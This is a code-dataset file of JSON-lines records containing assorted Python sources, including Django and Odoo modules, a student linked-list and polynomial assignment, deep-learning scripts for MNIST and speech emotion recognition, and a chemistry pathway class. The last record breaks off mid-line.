\"Registrar\", css_class='btn-default')\n )\n )\n","sub_path":"ctusr/regusr/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"404290927","text":"import os\nfrom data import srdata\n\n\nclass sun(srdata.SRData):\n def __init__(self, args, name='sun', train=True, benchmark=False):\n super(sun, self).__init__(\n args, name=name, train=train, benchmark=benchmark\n )\n\n def _set_filesystem(self, data_dir):\n self.apath = os.path.join(data_dir, self.name)\n self.dir_hr = os.path.join(self.apath, 'HR')\n self.dir_lr = os.path.join(self.apath, 'LR')\n self.ext = ('.jpg', '.jpg')","sub_path":"data/sun.py","file_name":"sun.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"255672256","text":"class Linked_List:\n \n class _Node:\n \n def __init__(self, val):\n # declare and initialize the private attributes\n # for objects of the Node class.\n self._val = val\n self._next = None\n self._prev = None\n\n def __init__(self):\n # declare and initialize the private attributes\n # for objects of the sentineled Linked_List class\n self._header = Linked_List._Node(None)\n self._trailer = Linked_List._Node(None)\n self._header._prev = None\n self._header._next = self._trailer\n self._trailer._prev = self._header\n self._trailer._next = None\n self._size = 0\n\n def __len__(self):\n # return the number of value-containing nodes in \n # this list.\n return self._size\n\n def append_element(self, val):\n # increase the size of the list by one, and add a\n # node containing val at the tail position.\n newNode = Linked_List._Node(val)\n newNode._next = self._trailer\n newNode._prev = self._trailer._prev\n self._trailer._prev._next = newNode\n self._trailer._prev = newNode\n self._size += 1\n \n def insert_element_at(self, val, index):\n # assuming the head position is indexed 0, add a\n # node containing val at the specified index. If \n # the index is not a valid position within the list,\n # ignore the request. This method cannot be used\n # to add an item at the tail position.\n if index >= self._size or index < 0:\n return\n \n newNode = Linked_List._Node(val)\n \n if index == 0:\n newNode._next = self._header._next\n self._header._next._prev = newNode\n newNode._prev = self._header\n self._header._next = newNode\n else:\n current = self._header\n for i in range(index):\n current = current._next\n \n newNode._next = current._next\n current._next._prev = newNode\n current._next = newNode\n newNode._prev = current \n self._size += 1\n\n def remove_element_at(self, index):\n # assuming the head position is indexed 0, remove\n # and return the value stored in the node at the \n # specified index. If the index is invalid, ignore\n # the request.\n if index >= self._size or index < 0:\n return\n \n if index == 0:\n current = self._header._next\n removal = current\n self._header._next = current._next\n current._next._prev = self._header\n else:\n current = self._header\n for i in range(index):\n current = current._next\n removal = current._next\n current._next._next._prev = current\n current._next = current._next._next\n self._size -= 1\n return removal._val\n\n def get_element_at(self, index):\n # assuming the head position is indexed 0, return\n # the value stored in the node at the specified\n # index, but do not unlink it from the list.\n if index >= self._size or index < 0:\n return\n if self._size == 0:\n return\n current = self._header\n for i in range(index):\n current = current._next\n current = current._next\n return current._val\n \n\n def __str__(self):\n # return a string representation of the list's\n # contents. An empty list should appear as [ ].\n # A list with one element should appear as [ 5 ].\n # A list with two elements should appear as [ 5, 7 ].\n # You may assume that the values stored inside of the\n # node objects implement the __str__() method, so you\n # call str(val_object) on them to get their string\n # representations.\n \n current = self._header._next\n returnstring = '[ '\n while current is not self._trailer:\n if current == self._trailer._prev:\n returnstring = str(returnstring) + str(current._val) + ' '\n else:\n returnstring = str(returnstring) + str(current._val) + ', '\n current = current._next\n returnstring = str(returnstring) + ']'\n return returnstring\n \n\nclass Poly_Val:\n def __init__(self, coef, exp):\n self._coefficient = coef\n self._exponent = exp\n\n def get_coefficient(self):\n return self._coefficient\n\n def get_exponent(self):\n return self._exponent\n\n def __str__(self):\n return str(self._coefficient) + 'x^' + str(self._exponent)\n \nif __name__ == '__main__':\n # Your test code should go here. Be sure to look at cases\n # when the list is empty, when it has one element, and when \n # it has several elements. Do the indexed methods ignore your\n # requests when given invalid indices? Do they position items\n # correctly when given valid indices? Does the string\n # representation of your list conform to the specified format?\n # Does removing an element function correctly regardless of that\n # element's location?\n\n # The following code should appear after your tests for your\n # linked list class.\n\n #A test for adding to a list\n print(\"Test 1:\")\n #prints an empty list and shows correct size\n List1 = Linked_List()\n print(List1)\n print(\"List size is: \" + str(List1._size))\n #adds four elements, prints the list, and shows correct size\n List1.append_element(4)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n List1.append_element(5)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n List1.append_element(2)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n #inserts an element at the beginning and shows correct size\n List1.insert_element_at(1,0)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n #inserts an element in the middle and shows correct size\n List1.insert_element_at(7,3)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n #tries to insert an element out of bounds, is unsuccesful\n List1.insert_element_at(11,10)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n List1.append_element(10)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n #attempts to append an element using the insert element method, it's succesfully unsuccesful\n List1.insert_element_at(11,6)\n print(List1)\n print(\"List size is: \" + str(List1._size))\n\n #A test for removing from the list\n print()\n print(\"Test 2:\")\n List2 = List1\n print(List2)\n print(\"List size is: \" + str(List2._size))\n #removes the beginning element and prints the correct size\n List2.remove_element_at(0)\n print(List2)\n print(\"List size is: \" + str(List2._size))\n #removes an element from the middle and prints the correct size\n List2.remove_element_at(3)\n print(List2)\n print(\"List size is: \" + str(List2._size))\n #tries to remove from an index larger than the list size, is unsuccesful\n List2.remove_element_at(10)\n print(List2)\n print(\"List size is: \" + str(List2._size))\n #removes the last element in the list and prints correct size\n List2.remove_element_at(3)\n print(List2)\n print(\"List size is: \" + str(List2._size))\n\n #Shows the printing of the elements within the list\n print()\n print(\"Test 3:\")\n List3 = List2\n print(\"Node at 0 is: \")\n print(List3.get_element_at(0))\n print(\"Node at 1 is: \")\n print(List3.get_element_at(1))\n print(\"Node at 2 is: \")\n print(List3.get_element_at(2))\n #tries to get a Node at an index that is out of bounds, is unsuccesful\n print(\"Node at 10 is: \")\n print(List3.get_element_at(10))\n\n\n \n\n # here, create the Poly_Val objects that should comprise p3\n # and add them to the list. Make sure that p3 is constructed\n # correctly regardless of the contents of p1 and p2. Try\n # building different polynomials for p1 and p2 and ensure that\n # they sum correctly.\n\n #creates an ordered list of polynomials off of two lists of polynomials\n p1 = Linked_List()\n p1.append_element(Poly_Val(10,1012))\n p1.append_element(Poly_Val(5,14))\n p1.append_element(Poly_Val(1,0))\n p2 = Linked_List()\n p2.append_element(Poly_Val(3,1990))\n p2.append_element(Poly_Val(-2,14))\n p2.append_element(Poly_Val(11,1))\n p2.append_element(Poly_Val(5,0))\n \n \n print()\n print(\"Test 4:\")\n p3 = Linked_List() \n k = 0\n p1size = p1._size\n p2size = p2._size\n for i in range(p1size):\n p1element = p1.get_element_at(i)\n for j in range(k,p2size):\n p2element = p2.get_element_at(j)\n if p2element.get_exponent() > p1element.get_exponent():\n p3.append_element(p2element)\n k += 1\n temp = p2element.get_exponent()\n if p2element.get_exponent() == p1element.get_exponent():\n coefficient = p2element.get_coefficient() + p1element.get_coefficient()\n exponent = p2element.get_exponent()\n p3.append_element(Poly_Val(coefficient,exponent))\n k += 1\n temp = p2element.get_exponent()\n\n if temp > p1element.get_exponent():\n p3.append_element(p1element)\n print(p3)\n\n\n #creates an ordered list of polynomials off of two lists of polynomials\n p1 = Linked_List()\n p1.append_element(Poly_Val(11,100))\n p1.append_element(Poly_Val(6,50))\n p1.append_element(Poly_Val(7,2))\n p1.append_element(Poly_Val(7,1))\n p1.append_element(Poly_Val(7,0))\n p2 = Linked_List()\n p2.append_element(Poly_Val(3,100))\n p2.append_element(Poly_Val(4,75))\n p2.append_element(Poly_Val(-11,2))\n \n \n print()\n print(\"Test 5:\")\n p3 = Linked_List() \n k = 0\n p1size = p1._size\n p2size = p2._size\n for i in range(p1size):\n p1element = p1.get_element_at(i)\n for j in range(k,p2size):\n p2element = p2.get_element_at(j)\n if p2element.get_exponent() > p1element.get_exponent():\n p3.append_element(p2element)\n k += 1\n temp = p2element.get_exponent()\n if p2element.get_exponent() == p1element.get_exponent():\n coefficient = p2element.get_coefficient() + p1element.get_coefficient()\n exponent = p2element.get_exponent()\n p3.append_element(Poly_Val(coefficient,exponent))\n k += 1\n temp = p2element.get_exponent()\n\n if temp > p1element.get_exponent():\n p3.append_element(p1element)\n print(p3)\n\n\n#creates an ordered list of polynomials off of two lists of polynomials\n p1 = Linked_List()\n p1.append_element(Poly_Val(16,150))\n p1.append_element(Poly_Val(-8,75))\n p1.append_element(Poly_Val(8,40))\n p1.append_element(Poly_Val(1,0))\n p2 = Linked_List()\n p2.append_element(Poly_Val(3,100))\n p2.append_element(Poly_Val(-2,75))\n p2.append_element(Poly_Val(22,40))\n p2.append_element(Poly_Val(11,11))\n p2.append_element(Poly_Val(5,5))\n p2.append_element(Poly_Val(5,4))\n p2.append_element(Poly_Val(5,2))\n \n \n print()\n print(\"Test 6:\")\n p3 = Linked_List() \n k = 0\n p1size = p1._size\n p2size = p2._size\n for i in range(p1size):\n p1element = p1.get_element_at(i)\n for j in range(k,p2size):\n p2element = p2.get_element_at(j)\n if p2element.get_exponent() > p1element.get_exponent():\n p3.append_element(p2element)\n k += 1\n temp = p2element.get_exponent()\n if p2element.get_exponent() == p1element.get_exponent():\n coefficient = p2element.get_coefficient() + p1element.get_coefficient()\n exponent = p2element.get_exponent()\n p3.append_element(Poly_Val(coefficient,exponent))\n k += 1\n temp = p2element.get_exponent()\n if temp > p1element.get_exponent():\n p3.append_element(p1element)\n print(p3)\n","sub_path":"proj3/Linked_List.py","file_name":"Linked_List.py","file_ext":"py","file_size_in_byte":11068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"550541741","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Copyright (C) 2015 Pexego All Rights Reserved\n# $Jesús Ventosinos Mayor $\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nimport subprocess\nimport tempfile\nimport os\nimport base64\nimport unicodedata\nfrom urlparse import urljoin\nfrom pyPdf import PdfFileWriter, PdfFileReader\nfrom contextlib import closing\nfrom openerp import models, fields, api, exceptions, _\nfrom openerp.addons.website.models.website import slug\nfrom openerp.addons.web.http import request\nfrom datetime import datetime\n\n\n\nclass QualityReportAll(models.TransientModel):\n _name = 'quality.report.all'\n\n def _get_print_urls(self):\n res = []\n config = self.env['ir.config_parameter']\n if self.env.context.get('relative_url'):\n base_url = '/'\n elif config.get_param('phamtomjs_base_url'):\n base_url = config.get_param('phamtomjs_base_url')\n else:\n base_url = config.get_param('web.base.url')\n\n if self.env.context['active_model'] == u'stock.production.lot':\n obj = self.env['mrp.production'].search(\n [('final_lot_id', '=', self.env.context['active_id'])])\n else:\n obj = self.env[self.env.context['active_model']].browse(\n self.env.context['active_id'])\n\n ungrouped_also = self.env.context.get('print_ungrouped_also', False)\n first_continuation_skipped = False\n for workcenter_line in obj.workcenter_lines:\n protocol_link = obj.product_id.protocol_ids.filtered(\n lambda r: (r.protocol.type_id.group_print or ungrouped_also) and\n r.protocol.type_id.id ==\n workcenter_line.workcenter_id.protocol_type_id.id)\n use_protocol = protocol_link.filtered(\n lambda r: obj.routing_id == r.route and obj.bom_id == r.bom)\n if not use_protocol:\n use_protocol = protocol_link.filtered(\n lambda r: obj.routing_id == r.route or obj.bom_id == r.bom)\n if not use_protocol:\n use_protocol = protocol_link.filtered(\n lambda r: not r.route and not r.bom)\n if not use_protocol:\n continue\n else:\n use_protocol = use_protocol.protocol\n if not workcenter_line.realized_ids:\n for line in use_protocol.report_line_ids:\n if line.log_realization:\n self.env['quality.realization'].create(\n {\n 'name': line.name,\n 'workcenter_line_id': workcenter_line.id\n })\n weight = workcenter_line.workcenter_id.protocol_type_id.weight\n production_name = obj.display_name\n protocol_type_id = workcenter_line.workcenter_id.protocol_type_id\n protocol_type = protocol_type_id.name\n if protocol_type_id.is_continuation:\n if first_continuation_skipped:\n protocol_type += fields.Datetime.\\\n from_string(workcenter_line.create_date).\\\n strftime(' %d-%m-%Y')\n else:\n first_continuation_skipped = True\n continue\n protocol_name = unicodedata.normalize('NFKD', use_protocol.name). \\\n encode('ascii', 'ignore').replace(' ', '~')\n protocol_type = unicodedata.normalize('NFKD', protocol_type). \\\n encode('ascii', 'ignore').replace(' ', '~')\n product_name = obj.product_id.display_name\n product_name = unicodedata.normalize('NFKD', product_name). \\\n encode('ascii', 'ignore').replace(' ', '~')[0:50]\n lot_name = obj.final_lot_id.display_name\n lot_name = unicodedata.normalize('NFKD', lot_name). \\\n encode('ascii', 'ignore').replace(' ', '~')\n date_planned = fields.Datetime.from_string(obj.date_planned). \\\n strftime('%d-%m-%Y')\n\n res.append(\n urljoin(\n base_url,\n \"protocol/print/%s/%s/%s?weight=%02d#prod=%s#protname=%s#\"\n \"prot=%s#product=%s#lot=%s#date=%s\" % (\n slug(obj),\n slug(use_protocol),\n slug(workcenter_line),\n weight,\n production_name,\n protocol_name,\n protocol_type,\n product_name,\n lot_name,\n date_planned\n )\n )\n )\n return res\n\n def _merge_pdf(self, documents):\n \"\"\"Merge PDF files into one.\n\n :param documents: list of path of pdf files\n :returns: path of the merged pdf\n \"\"\"\n writer = PdfFileWriter()\n streams = []\n for document in documents:\n pdfreport = file(document, 'rb')\n streams.append(pdfreport)\n reader = PdfFileReader(pdfreport)\n for page in range(0, reader.getNumPages()):\n writer.addPage(reader.getPage(page))\n\n merged_file_fd, merged_file_path = tempfile.mkstemp(\n suffix='.pdf', prefix='report.merged.tmp.')\n with closing(os.fdopen(merged_file_fd, 'w')) as merged_file:\n writer.write(merged_file)\n\n for stream in streams:\n stream.close()\n\n return merged_file_path\n\n @api.multi\n def print_all(self):\n \"\"\"\n Se llama al script static/src/js/get_url_pdf.js\n con los argumentos session_id, directorio donde guardar,\n urls que crea 1 pdf por cada url\n Luego se hace merge de los pdf desde esta parte.\n \"\"\"\n if not request:\n raise exceptions.Warning(_(''), _(''))\n session_id = request.session.sid\n config = self.env['ir.config_parameter']\n addons_url = config.get_param('addons_path')\n phantomjs_path = config.get_param('phantomjs_path')\n phantomjs_path = 'phantomjs' if not phantomjs_path else phantomjs_path\n print_url = self.env.context.get('protocol_url', False)\n if print_url:\n print_urls = [print_url]\n else:\n print_urls = self._get_print_urls()\n if not print_urls:\n return\n phantom = [\n phantomjs_path,\n addons_url +\n '/quality_protocol_report/static/src/js/phantom_url_to_pdf.js',\n session_id, \"/tmp\"] + print_urls\n process = subprocess.Popen(phantom)\n process.communicate()\n filenames = []\n for url in print_urls:\n fname = url.replace('/', '').replace(':', '')\n weight_pos = fname.find('?weight=')\n if weight_pos > -1:\n fname = fname[weight_pos+8:weight_pos+10] + '-' + fname[:weight_pos]\n filenames.append('/tmp/' + fname + '.pdf')\n filepath = self._merge_pdf(sorted(filenames))\n fildecode = open(filepath, 'r')\n encode_data = fildecode.read()\n fildecode.close()\n active_model = self.env.context.get('active_model', False)\n active_id = self.env.context.get('active_id', False)\n ungrouped_also = self.env.context.get('print_ungrouped_also', False)\n if active_model and active_id and not ungrouped_also:\n active_name = self.env[active_model].browse([active_id]).name\n else:\n dt = fields.Datetime.context_timestamp(self, datetime.now())\n active_name = dt.strftime('%d-%m-%Y_%Hh%M')\n filename = 'protocolo.pdf' if print_url else \\\n 'protocolos_' + str(active_name).lower() + '.pdf'\n attachment_data = {\n 'name': filename,\n 'datas_fname': filename,\n 'datas': base64.b64encode(encode_data),\n 'res_model': active_model,\n 'res_id': 0 if print_url else self.env.context.get('active_id', False),\n }\n self.env['ir.attachment'].search(\n [('name', '=', attachment_data['name']),\n ('res_id', '=', attachment_data['res_id']),\n ('res_model', '=', attachment_data['res_model'])]).unlink()\n attachment = self.env['ir.attachment'].create(attachment_data)\n\n filenames.append(filepath)\n for my_file in filenames:\n os.remove(my_file)\n\n if print_url:\n return {\n 'type': 'ir.actions.act_url',\n 'url': '/web/binary/saveas?model=ir.attachment&field=datas' +\n '&filename_field=name&id=%s' % (attachment.id),\n 'target': 'self',\n }\n else:\n return {'type': 'ir.actions.act_window_close'}\n","sub_path":"project-addons/quality_protocol_report/wizard/quality_print_all_protocols.py","file_name":"quality_print_all_protocols.py","file_ext":"py","file_size_in_byte":9716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"365847889","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('parent', models.ForeignKey(to='shop.Category', null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Product',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('SKU', models.CharField(unique=True, max_length=100)),\n ('categories', models.ManyToManyField(to='shop.Category')),\n ],\n ),\n ]\n","sub_path":"innoshop/shop/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73317890","text":"\"\"\"\nImplements a class for storing balanced reaction pathways.\n\"\"\"\nfrom typing import List, Union\n\nimport numpy as np\n\nfrom rxn_network.core.composition import Composition\nfrom rxn_network.core.pathway import Pathway\nfrom rxn_network.core.reaction import Reaction\nfrom rxn_network.pathways.basic import BasicPathway\nfrom rxn_network.utils.funcs import limited_powerset\n\n\nclass BalancedPathway(BasicPathway):\n \"\"\"\n Helper class for storing multiple ComputedReaction objects which form a single\n reaction pathway as identified via pathfinding methods. Includes costs for each\n reaction.\n \"\"\"\n\n def __init__(\n self,\n reactions: List[Reaction],\n coefficients: List[float],\n costs: List[float],\n balanced: bool = False,\n ):\n \"\"\"\n Args:\n reactions: list of ComputedReaction objects which occur along path.\n coefficients: list of coefficients to balance each of these reactions,\n respectively\n costs: list of corresponding costs for each reaction.\n balanced: whether or not the reaction pathway is balanced.\n Defaults to False.\n \"\"\"\n self.coefficients = coefficients\n super().__init__(reactions=reactions, costs=costs)\n\n self.balanced = balanced\n\n def __eq__(self, other):\n if super().__eq__(other):\n return np.allclose(self.costs, other.costs)\n\n return False\n\n def __hash__(self):\n return hash((tuple(self.reactions), tuple(self.coefficients)))\n\n @classmethod\n def balance(\n cls,\n pathway_sets: Union[List[Pathway], List[List[Reaction]]],\n net_reaction: Reaction,\n tol=1e-6,\n ):\n \"\"\"\n TODO: Implement this method\n\n Balances multiple reaction pathways to a net reaction.\n\n NOTE: Currently, to automatically balance and create a BalancedPathway object,\n you must use the PathwaySolver class.\n \"\"\"\n\n def comp_matrix(self) -> np.ndarray:\n \"\"\"\n Internal method for getting the composition matrix used in the balancing\n procedure.\n\n Returns:\n An array representing the composition matrix for a reaction\n \"\"\"\n return np.array(\n [\n [\n rxn.get_coeff(comp) if comp in rxn.all_comp else 0\n for comp in self.compositions\n ]\n for rxn in self.reactions\n ]\n )\n\n def get_coeff_vector_for_rxn(self, rxn) -> np.ndarray:\n \"\"\"\n Internal method for getting the net reaction coefficients vector.\n\n Args:\n rxn: Reaction object to get coefficients for\n\n Returns:\n An array representing the reaction coefficients vector\n \"\"\"\n return np.array(\n [\n rxn.get_coeff(comp) if comp in rxn.compositions else 0\n for comp in self.compositions\n ]\n )\n\n def contains_interdependent_rxns(self, precursors: List[Composition]) -> bool:\n \"\"\"\n Whether or not the pathway contains interdependent reactions, given a list of\n provided precursors.\n\n Args:\n precursors: List of precursor compositions\n \"\"\"\n precursors_set = set(precursors)\n interdependent = False\n\n rxns = set(self.reactions)\n num_rxns = len(rxns)\n\n if num_rxns == 1:\n return False\n\n for combo in limited_powerset(rxns, num_rxns):\n size = len(combo)\n if (\n any(set(rxn.reactants).issubset(precursors_set) for rxn in combo)\n or size == 1\n ):\n continue\n\n other_comp = {c for rxn in (rxns - set(combo)) for c in rxn.compositions}\n\n unique_reactants = []\n unique_products = []\n for rxn in combo:\n unique_reactants.append(set(rxn.reactants) - precursors_set)\n unique_products.append(set(rxn.products) - precursors_set)\n\n overlap = [False] * size\n for i in range(size):\n for j in range(size):\n if i == j:\n continue\n overlapping_phases = unique_reactants[i] & unique_products[j]\n if overlapping_phases and (overlapping_phases not in other_comp):\n overlap[i] = True\n\n if all(overlap):\n interdependent = True\n\n return interdependent\n\n @property\n def average_cost(self) -> float:\n \"\"\"Returns the mean cost of the pathway\"\"\"\n return np.dot(self.coefficients, self.costs) / sum(self.coefficients)\n\n def __repr__(self):\n path_info = \"\"\n for rxn in self.reactions:\n path_info += f\"{rxn} (dG = {round(rxn.energy_per_atom, 3)} eV/atom) \\n\"\n\n path_info += f\"Average Cost: {round(self.average_cost,3)}\"\n\n return path_info\n","sub_path":"src/rxn_network/pathways/balanced.py","file_name":"balanced.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"514140563","text":"import torch\nimport torchvision.datasets as dataset\nimport torchvision.transforms as transforms\nimport torch.utils.data as data_utils\nfrom CNN import CNN\n#net\n\ntest_data = dataset.MNIST(root=\"mnist\",\n train=False,\n transform=transforms.ToTensor(),\n download=False)\n\ntest_loader = data_utils.DataLoader(dataset=test_data,\n batch_size=64,\n shuffle=True)\n\ncnn = torch.load(\"model/mnist_model.pkl\")\ncnn = cnn.cuda()\n#loss\n#eval/test\nloss_test = 0\naccuracy = 0\n\nimport cv2\n\n\n#pip install opencv-python -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com\nfor i, (images, labels) in enumerate(test_loader):\n images = images.cuda()\n labels = labels.cuda()\n outputs = cnn(images)\n _, pred = outputs.max(1)\n accuracy += (pred == labels).sum().item()\n\n images = images.cpu().numpy()\n labels = labels.cpu().numpy()\n pred = pred.cpu().numpy()\n #batchsize * 1 * 28 * 28\n\n for idx in range(images.shape[0]):\n im_data = images[idx]\n im_label = labels[idx]\n im_pred = pred[idx]\n im_data = im_data.transpose(1, 2, 0)\naccuracy = accuracy / len(test_data)\nprint(accuracy)\n\n\n\n\n\n\n\n\n","sub_path":"pytorchOriented/pytorch_code_official/04/cls_reg/demo_cls_inference.py","file_name":"demo_cls_inference.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"283880144","text":"timbitsLeft = int(input()) # step 1: get the input\r\ntotalCost = 0 # step 2: initialize the total cost\r\n\r\n# step 3: buy as many large boxes as you can\r\nbigBoxes = int(timbitsLeft / 40)\r\ntotalCost = totalCost + bigBoxes + 6.19 # update the total price\r\ntimbitsLeft = timbitsLeft - 40 # calculate timbits still needed\r\n\r\ntotalCost = totalCost + (timbitsLeft * .20) # step 6\r\nprint(totalCost) # step 7\r\n","sub_path":"timbitsExercise.py","file_name":"timbitsExercise.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"652710160","text":"\"\"\"\nCode for Speech Emotion Recognition.\n8 Nov 2019,\nSihyun Yu, Soojung Yang, Seokhyun Moon\n\"\"\"\n\nimport argparse\nimport os\nimport shutil\nimport time\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim\nimport torch.utils.data\nimport torch.utils.data.distributed\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport torchvision.models as models\nimport utils\nimport numpy as np\nimport dataloader as DataLoader\n\nfrom model import AttentionLSTM\nimport timeConvNet as tn\nfrom tensorboardX import SummaryWriter\n\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\n\"\"\"\nParser for Training\n\"\"\"\nparser = argparse.ArgumentParser(description='Speech Emotion Recognition for QIA')\nparser.add_argument('--data_path', default=\"../preprocessed/data/\", type=str,\n\t\t\t\t\thelp='Data path')\nparser.add_argument('--print-freq', '-p', default=30, type=int,\n\t\t\t\t\thelp='Print Frequency to check the output')\nparser.add_argument('--expname', default='TEST', type=str,\n\t\t\t\t\thelp='the name of folder that the model saved')\nparser.add_argument('--batch_size', default=32, type=int,\n\t\t\t\t\thelp='mini-batch size')\t\t\nparser.add_argument('--epochs', default=100, type=int,\n\t\t\t\t\thelp='the number of epochs')\nparser.add_argument('--cnn_model', default='resnet', type=str,\n\t\t\t\t\thelp='determine which cnn model to use')\nparser.add_argument('--lstm_model', default='lstm', type=str,\n\t\t\t\t\thelp='determine which lstm model to use')\nparser.add_argument('--lr', default=0.01, type=float,\n\t\t\t\t\thelp='learning rate')\nparser.add_argument('--weight_decay', default=1e-6, type=float,\n\t\t\t\t\thelp='weight_decay')\nparser.add_argument('--momentum', default=0.9, type=float,\n\t\t\t\t\thelp='weight_decay')\n\"\"\"\nparser for LSTM model\n\"\"\"\nparser.add_argument('--sample_train', default=False, type=bool,\n\t\t\t\t\thelp='whether testing or not')\nparser.add_argument('--bidirection', default=False, type=bool,\n\t\t\t\t\thelp='lstm bidirectional')\nparser.add_argument('--lstm_input_size', default=128, type=input,\n\t\t\t\t\thelp='lstm input size')\nparser.add_argument('--lstm_hidden_size', default=256, type=int,\n\t\t\t\t\t\t\t\t\t\thelp='lstm hidden size')\nparser.add_argument('--lstm_num_layers', default=1, type=int,\n\t\t\t\t\t\t\t\t\t\thelp='lstm num layers')\nparser.add_argument('--lstm_num_heads', default=4, type=int,\n\t\t\t\t\t\t\t\t\t\thelp='lstm attention num heads')\nparser.add_argument('--lstm_dropout', default=0.2, type=float,\n\t\t\t\t\thelp='lstm dropout')\n\nparser.add_argument('--load', default=False, type=bool,\n\t\t\t\t\thelp='to load or not from pretrained model')\nparser.add_argument('--pretrained', default='TEST', type=str,\n\t\t\t\t\thelp='the name of folder that the model pretrained')\n\n\nbest_err1 = 100\nbest_err5 = 100\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = '0, 1, 2, 3'\n\ndef main():\n\tglobal args, best_err1, best_err5\n\n\t# Get arguments using parser\n\targs = parser.parse_args()\n\n\t# Load a dataset and make data_loader\n\n\ttrain_short_loader = DataLoader.get_loader(X_path=args.data_path + \"train/\",\n\t\ty_path=args.data_path, duration='short', batch_size=args.batch_size)\n\ttrain_long_loader = DataLoader.get_loader(X_path=args.data_path + \"train/\",\n\t\ty_path=args.data_path, duration='long', batch_size=args.batch_size)\n\tval_short_loader = DataLoader.get_loader(X_path=args.data_path + \"val/\",\n\t\ty_path=args.data_path, duration='short', batch_size=int(args.batch_size/2))\n\tval_long_loader = DataLoader.get_loader(X_path=args.data_path + \"val/\",\n\t\ty_path=args.data_path, duration='long', batch_size=int(args.batch_size/2))\n\n\ttrain_loader = [train_short_loader, train_long_loader]\n\t# train_loader = [train_long_loader, train_short_loader]\n\tval_loader = [val_short_loader, val_long_loader]\n\n\tprint(\"===== Finished Loading Datasets =====\")\n\n\t# Create a CNN model and LSTM model\n\tcnn_model = tn.timeConvNet()\n\tlstm_model = AttentionLSTM(args).cuda()\n\tprint(cnn_model)\n\tprint(lstm_model)\n\t\"\"\"\n\tLeft as blank since we haven't specify the model to use.\n\t\"\"\"\n\t# lstm_model = torch.nn.DataParallel(lstm_model, output_device=1).cuda()\n\tcnn_model = torch.nn.DataParallel(cnn_model).cuda()\n\n\t\"\"\"\n\tif load is true, then load the parameter\n\t\"\"\"\n\tif (args.load == True):\n\t\tprint(\"=> loading checkpoint '{}'\".format(args.pretrained))\n\t\tcnn_checkpoint = torch.load(args.pretrained + '/cnn_checkpoint.pth.tar')\n\t\tlstm_checkpoint = torch.load(args.pretrained + '/lstm_checkpoint.pth.tar')\n\t\tprint(\"=> loaded checkpoint '{}'\".format(args.pretrained))\n\t\tcnn_model.load_state_dict(cnn_checkpoint['state_dict'])\n\t\tlstm_model.load_state_dict(lstm_checkpoint['state_dict'])\n\n\toptimizer = torch.optim.SGD(list(lstm_model.parameters())+list(cnn_model.parameters()), args.lr, momentum=args.momentum,\n\t\t\t\t\t\t\t\tweight_decay=args.weight_decay)\n\n\tcudnn.benchmark = True\n\tcriterion = nn.CrossEntropyLoss().cuda()\n\n\tprint(\"===== Finished Constructing Models =====\")\n\n\twith SummaryWriter() as writer:\n\t\tfor epoch in range(0, args.epochs):\n\n\t\t\t#adjust_learning_rate(optimizer, epoch)\n\n\t\t\t# train for one epoch\n\t\t\ttrain_loss, top1 = train(train_loader, cnn_model, lstm_model, criterion, optimizer, epoch)\n\t\t\twriter.add_scalars(\"train/data_group\",\n\t\t\t\t\t\t\t {\"loss\": train_loss,\n\t\t\t\t\t\t\t\t\"top1\": top1},\n\t\t\t\t\t\t\t\tepoch)\n\n\t\t\t# evaluate on validation set\n\t\t\terr1, err5, val_loss = validate(val_loader, cnn_model, lstm_model, criterion, epoch)\n\t\t\twriter.add_scalars(\"val/data_group\",\n\t\t\t\t\t\t\t {\"loss\": val_loss,\n\t\t\t\t\t\t\t\t\"top1\": err1},\n\t\t\t\t\t\t\t\tepoch)\n\n\t\t\t# remember best prec@1 and save checkpoint\n\t\t\tis_best = err1 <= best_err1\n\t\t\tbest_err1 